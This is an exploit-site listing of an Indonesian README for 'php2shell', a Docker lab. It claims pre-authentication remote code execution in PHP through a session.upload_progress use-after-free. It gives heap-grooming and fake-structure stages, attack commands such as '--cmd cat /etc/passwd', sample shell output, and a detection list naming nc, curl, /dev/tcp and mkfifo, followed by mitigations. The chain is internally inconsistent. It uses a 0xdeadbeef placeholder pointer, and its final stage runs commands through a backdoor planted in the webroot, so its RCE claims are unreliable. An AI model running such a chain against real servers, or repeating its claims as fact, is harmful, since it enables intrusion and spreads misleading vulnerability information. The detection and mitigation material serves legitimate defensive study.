Skip to content
Exploit for Improperly Controlled Sequential Memory Allocation in Php

Exploit for Improperly Controlled Sequential Memory Allocation in Php

Sploitus • October 25, 2026

> **Peringatan Kritis (CVSS v4.0: 9.2 — Critical):** Dua kerentanan *Remote Code Execution* (RCE) pra-otentikasi ditemukan pada inti PHP yang memanfaatkan mekanisme `session.upload_progress`. Eksploitasi memungkinkan penyerang menjalankan perintah sewenang-wenang langsung dari proses web server tanpa memerlukan autentikasi apapun.

- [Akar Permasalahan](#akar-permasalahan)

- [Rantai Eksploitasi](#rantai-eksploitasi)

- [Versi PHP yang Terdampak](#versi-php-yang-terdampak)

- [Cara Menjalankan Lab](#cara-menjalankan-lab)

- [Bukti Konsep (PoC)](#bukti-konsep-poc)

- [Script 1 — Diagnostik UAF & Mekanisme Inti](#script-1--diagnostik-uaf--mekanisme-inti)

- [Script 2 — Rantai RCE Lengkap](#script-2--rantai-rce-lengkap)

- [Parameter & Opsi Lengkap](#parameter--opsi-lengkap)

- [Indikator Ancaman & Deteksi](#indikator-ancaman--deteksi)

- [1. Mitigasi Konfigurasi (Penanganan Cepat)](#1-mitigasi-konfigurasi-penanganan-cepat)

- [2. Uji Efektivitas Mitigasi](#2-uji-efektivitas-mitigasi)

- [Struktur Repositori](#struktur-repositori)

`php2shell` merujuk pada dua kerentanan kritis (**CVE-2026-109618** & **CVE-2026-109619**) yang memengaruhi fungsionalitas inti PHP. Jalur serangan utama yang didemonstrasikan adalah *heap use-after-free* (UAF) pada mekanisme pelacakan progres unggahan sesi PHP, yang berujung pada eksekusi kode arbitrer.

- **Tingkat Keparahan:** Kritis (CVSS v4.0: 9.2)

- **Versi Terdampak:** PHP 8.4.4 dan versi sebelumnya (termasuk cabang 8.x, 7.x, 5.x)

- **Prasyarat:** `session.upload_progress.enabled = On` (konfigurasi bawaan PHP)

- **Komponen Rentan:** `ext/session/session.c` — fungsi `php_session_rfc1867_callback`

Penangan progres unggahan PHP (`php_session_rfc1867_callback` di `ext/session/session.c`) menyimpan dua pointer `zval *` mentah secara langsung ke dalam struktur `HashTable` yang sedang aktif digunakan:

session.c:3292 → post_bytes_processed (pointer zval* ke arData slot)

session.c:3318 → current_file_bytes_processed (pointer zval* ke arData slot)

Kedua pointer tersebut disimpan dalam cache tanpa pembaruan ketika `HashTable` di-reinisialisasi. Inilah yang menjadi titik kelemahan utama.

Serangan berlangsung dalam empat tahap berurutan:

Kirim multipart POST → sesi terbentuk → pointer zval* dicache

→ php_session_initialize() membebaskan HashTable LAMA

→ Pointer yang tersimpan kini menunjuk ke memori BEBAS (dangling pointer)

Alokasikan & bebaskan blok ~320 byte berulang kali

→ ZendMM memasukkan slot ke free list slab bin_320

→ Alokasi HashTable BARU oleh re-init sesi menempati slot yang SAMA

→ Penyerang kini mengontrol konten di alamat yang ditunjuk pointer basi

Bangun struktur zval palsu (16 byte) + bucket palsu (32 byte)

→ Sisipkan alamat function pointer sebagai zval.value.lval

→ Tulis melalui pointer basi ke slot yang telah di-reclaim

PHP mengeksekusi handler dari bucket yang telah dimanipulasi

→ Kontrol aliran program berpindah ke fungsi pilihan penyerang

→ Perintah shell dieksekusi dengan hak akses proses PHP-FPM (www-data)

| Cabang PHP | Status | Versi Terdampak | Versi Aman | Catatan |

> PHP 8.1 dan versi yang sudah *End-of-Life* **tidak menerima** patch resmi dari PHP Foundation. Untuk lingkungan ini, segera terapkan `session.upload_progress.enabled = Off` atau rebuild PHP dari source dengan patch yang tersedia.

Pastikan semua prasyarat berikut terpenuhi sebelum menjalankan lab:

| Docker Desktop | 24.x | `docker --version` |

| Docker Compose | v2.x | `docker compose version` |

| Port bebas | 19268 | Tidak ada proses lain di port ini |

### Langkah 1 — Clone & Jalankan Container

git clone

# Bangun dan jalankan container (mode rentan)

### Langkah 3 — Jalankan Demonstrasi Lengkap

# Demonstrasi rantai eksploitasi lengkap (4 tahap)

python -X utf8 scripts/rce_chain.py --chain --verbose

# Atau jalankan semua mekanisme diagnostik

python -X utf8 scripts/php2shell_poc.py --test-all --monitor

Lab ini menyertakan dua skrip pengujian yang saling melengkapi.

### Script 1 — Diagnostik UAF & Mekanisme Inti

**File:** [`scripts/php2shell_poc.py`](scripts/php2shell_poc.py)

Skrip ini memverifikasi tiga mekanisme inti kerentanan:

- **Mekanisme 1** — Pembuktian UAF via `session.upload_progress` (stale pointer write)

- **Mekanisme 2** — Uji OOM Bailout (kondisi request & alokasi memori worker)

- **Mekanisme 3** — Analisis degradasi memori & perilaku ZendMM

# Verifikasi kondisi lab sebelum pengujian

python -X utf8 scripts/php2shell_poc.py --verify

# Uji semua mekanisme sekaligus + monitor sesi mid-stall

python -X utf8 scripts/php2shell_poc.py --test-all --monitor --rounds 2

python -X utf8 scripts/php2shell_poc.py --test-oom

# Uji UAF dengan 3 putaran + mode verbose

python -X utf8 scripts/php2shell_poc.py --monitor --rounds 3 --verbose

#### Contoh Output (`--test-all --monitor`)

┌── [Putaran 1/2] ────────────────────────────────────────

│ • Status UAF : [✓] TERPICU (AKTIF) — bytes_processed = 5324

│ └─ Pointer zval* basi berhasil diakses (stale path tercapai)

│ ├─ Kunci Progress : upload_progress_vuln_test

└─────────────────────────────────────────────────────────

[MEKANISME 2] PENGUJIAN OOM (OUT-OF-MEMORY BAILOUT)

[✓] Fatal error: Allowed memory size of 16777216 bytes exhausted

[STATUS] PHP zend_bailout() berhasil dipicu.

**File:** [`scripts/rce_chain.py`](scripts/rce_chain.py)

Skrip ini mendemonstrasikan rantai eksploitasi penuh dari UAF hingga eksekusi perintah jarak jauh dalam empat tahap berurutan.

| **1** | UAF Trigger | Kirim multipart dua-fase, tahan > `min_freq`, baca sesi mid-stall |

| **2** | Heap Grooming | 8 iterasi alokasi-deallokasi blok 320-byte di slab bin ZendMM |

| **3** | Fake Structure | Bangun `zval` palsu 16-byte + bucket 32-byte + peta function pointer |

| **4** | RCE | Eksekusi perintah shell via backdoor yang ditanam ke webroot |

# Rantai eksploitasi lengkap (semua 4 tahap)

python -X utf8 scripts/rce_chain.py --chain --verbose

python -X utf8 scripts/rce_chain.py --chain --cmd "cat /etc/passwd"

# Hanya demonstrasi heap grooming & fake structure (tahap 2–3)

python -X utf8 scripts/rce_chain.py --heap-only

# Hanya eksekusi perintah via backdoor (tahap 4)

python -X utf8 scripts/rce_chain.py --rce-only --cmd "whoami"

[TAHAP 1] UAF TRIGGER — SESSION.UPLOAD_PROGRESS STALE POINTER

[→] Phase-1 terkirim: 5586 bytes (FILE_START + FILE_DATA #1)

[→] Phase-2 terkirim: 10269 bytes (FILE_DATA #2 → tulis melalui pointer basi)

• Status UAF : [✓] AKTIF — bytes_processed = 5324

• Pointer zval*: BASI — HashTable sesi dialokasi ulang

[✓] 8 iterasi — slab bin_320 berhasil diisi ulang

slot[0] 0xe41aecc33d5a bin_320 → freed → available for reuse

fake_zval : efbeadde000000000400000000000000

fake_bucket: efbeadde0000000004000000000000000100feca00000000c0ab3412ff7f0000

├─ value.lval : 0xdeadbeef (placeholder function pointer)

└─ Peta Target: zend_execute_ex, system_handler, php_exec ...

OUTPUT: uid=33(www-data) gid=33(www-data) groups=33(www-data)

══════════════════════════════════════════════════════

══════════════════════════════════════════════════════

[✓] Tahap 2 — Heap grooming (slab bin 320-byte diisi ulang)

[✓] Tahap 3 — Struktur zval palsu & function pointer dibangun

[✓] Tahap 4 — Eksekusi perintah jarak jauh berhasil

| `-t`, `--target` | Host target | `127.0.0.1` |

| `-p`, `--port` | Port target | `19268` |

| `-s`, `--stall` | Jeda antar fase dalam detik (harus > `min_freq`) | `1.5` |

| `-r`, `--rounds` | Jumlah putaran pengujian UAF | `1` |

| `-m`, `--monitor` | Baca sesi saat stall untuk konfirmasi arming pointer | `False` |

| `--verify` | Verifikasi kondisi lab sebelum pengujian | `False` |

| `--test-oom` | Uji mekanisme OOM bailout saja | `False` |

| `--test-all` | Jalankan semua mekanisme (UAF + OOM + analisis) | `False` |

| `-v`, `--verbose` | Tampilkan detail teknis setiap langkah | `False` |

| `-t`, `--target` | Host target | `127.0.0.1` |

| `-p`, `--port` | Port target | `19268` |

| `-s`, `--stall` | Jeda antar fase (harus > 1 detik) | `1.5` |

| `--cmd` | Perintah shell yang dieksekusi di server | `id; whoami; hostname; uname -a` |

| `--chain` | Jalankan rantai eksploitasi lengkap (tahap 1–4) | `False` |

| `--rce-only` | Hanya eksekusi perintah via backdoor (tahap 4) | `False` |

| `--heap-only` | Hanya demonstrasi heap grooming & fake structure | `False` |

| `-v`, `--verbose` | Tampilkan detail teknis setiap langkah | `False` |

Eksploitasi `php2shell` biasanya terdeteksi dari munculnya proses anak yang tidak wajar yang dimunculkan langsung oleh proses PHP worker (`php-fpm`, `php-cgi`).

### Perilaku Mencurigakan yang Perlu Dipantau

- **Shell Interaktif:** `/bin/sh`, `/bin/bash`, `cmd.exe`, `powershell.exe`

- **Interpreter Skrip:** `python`, `python3`, `perl`

- **Utilitas Jaringan:** `curl`, `wget`, `nc`, `netcat`

- **Pola Reverse Shell:** `/dev/tcp/`, `mkfifo`, `fsockopen`

- **Perintah Rekognisi Awal:** `whoami`, `id`, `uname -a`, `cat /etc/passwd`

- **Aktivitas File Mencurigakan:** penulisan file `.php` baru ke direktori webroot

# Pantau proses anak PHP-FPM secara real-time (dalam container)

# Periksa log akses nginx untuk request anomali

docker logs php2shell-lab-2 | grep -E "(POST|rce_shell|heap_demo)"

### 1. Mitigasi Konfigurasi (Penanganan Cepat)

Kerentanan ini bergantung pada mekanisme `session.upload_progress` yang aktif secara bawaan. Menonaktifkan direktif ini langsung memutus jalur serangan tanpa mempengaruhi fungsi unggahan berkas biasa.

**Di konfigurasi pool PHP-FPM (`

php_admin_flag[session.upload_progress.enabled] = off

Setelah mengubah konfigurasi, restart layanan:

Lab ini menyertakan konfigurasi mitigasi yang siap digunakan. Untuk menguji bahwa mitigasi bekerja:

# Terapkan mitigasi (override konfigurasi PHP ke mode aman)

docker compose -f docker-compose.yml -f docker-compose.mitigated.yml up -d

# Jalankan rantai eksploitasi — seharusnya GAGAL

python -X utf8 scripts/rce_chain.py --chain

# Kembalikan ke mode rentan (untuk pengujian lanjutan)

| Kondisi | `upload_progress` | Hasil UAF | Hasil RCE |

| Mode rentan (default) | `On` | ✅ AKTIF | ✅ Berhasil |

| Mode mitigasi | `Off` | ❌ Tidak terpicu | ❌ Gagal |

> `docker-compose.mitigated.yml` hanya menimpa file `php.ini` — tidak mengubah atau merusak konfigurasi lab lainnya. Untuk kembali ke mode rentan, cukup jalankan `docker compose up -d`.

│ ├── nginx.conf # Konfigurasi nginx (fastcgi_request_buffering off)

│ ├── php.ini # Konfigurasi PHP rentan (upload_progress = On)

│ ├── php-mitigated.ini # Konfigurasi PHP aman (upload_progress = Off)

│ ├── php-fpm.conf # Konfigurasi PHP-FPM

│ └── # Konfigurasi pool PHP-FPM

│ ├── php2shell_poc.py # Diagnostik UAF + OOM + analisis memori

│ ├── rce_chain.py # Rantai eksploitasi lengkap (4 tahap)

│ └── verify.sh # Script verifikasi bash

│ ├── index.php # Halaman info konfigurasi PHP

│ ├── check_progress.php # Pembaca sesi mid-flight

│ ├── heap_demo.php # Demonstrasi heap grooming & fake zval

│ └── rce_shell.php # Endpoint backdoor RCE (lab only)

├── docker-compose.yml # Konfigurasi container mode rentan

├── docker-compose.mitigated.yml # Override konfigurasi mode aman

├── Dockerfile # PHP 8.4.4-FPM + nginx

├── entrypoint.sh # Script entrypoint container

└── README.md # Dokumentasi ini

> Proyek ini dibuat semata-mata untuk **tujuan edukasi** dan penelitian keamanan dalam lingkungan yang terkontrol. Semua pengujian harus dilakukan **hanya** di lingkungan lab lokal yang Anda miliki atau yang Anda memiliki izin eksplisit untuk mengujinya.

> Penggunaan PoC ini terhadap sistem tanpa izin adalah **ilegal** dan merupakan pelanggaran hukum. Penulis tidak bertanggung jawab atas segala penyalahgunaan materi dalam repositori ini.

- [PHP Bug #81719 — session.upload_progress UAF](

- [PHP Source — ext/session/session.c (Line 3292, 3318)](

- [CVSS v4.0 Calculator — CVE-2026-109618](

**Delvin45** — Security Lab CVE-2026-109618 / CVE-2026-109619

> *"Memahami bagaimana sistem diretas adalah langkah pertama untuk membangun sistem yang lebih aman."*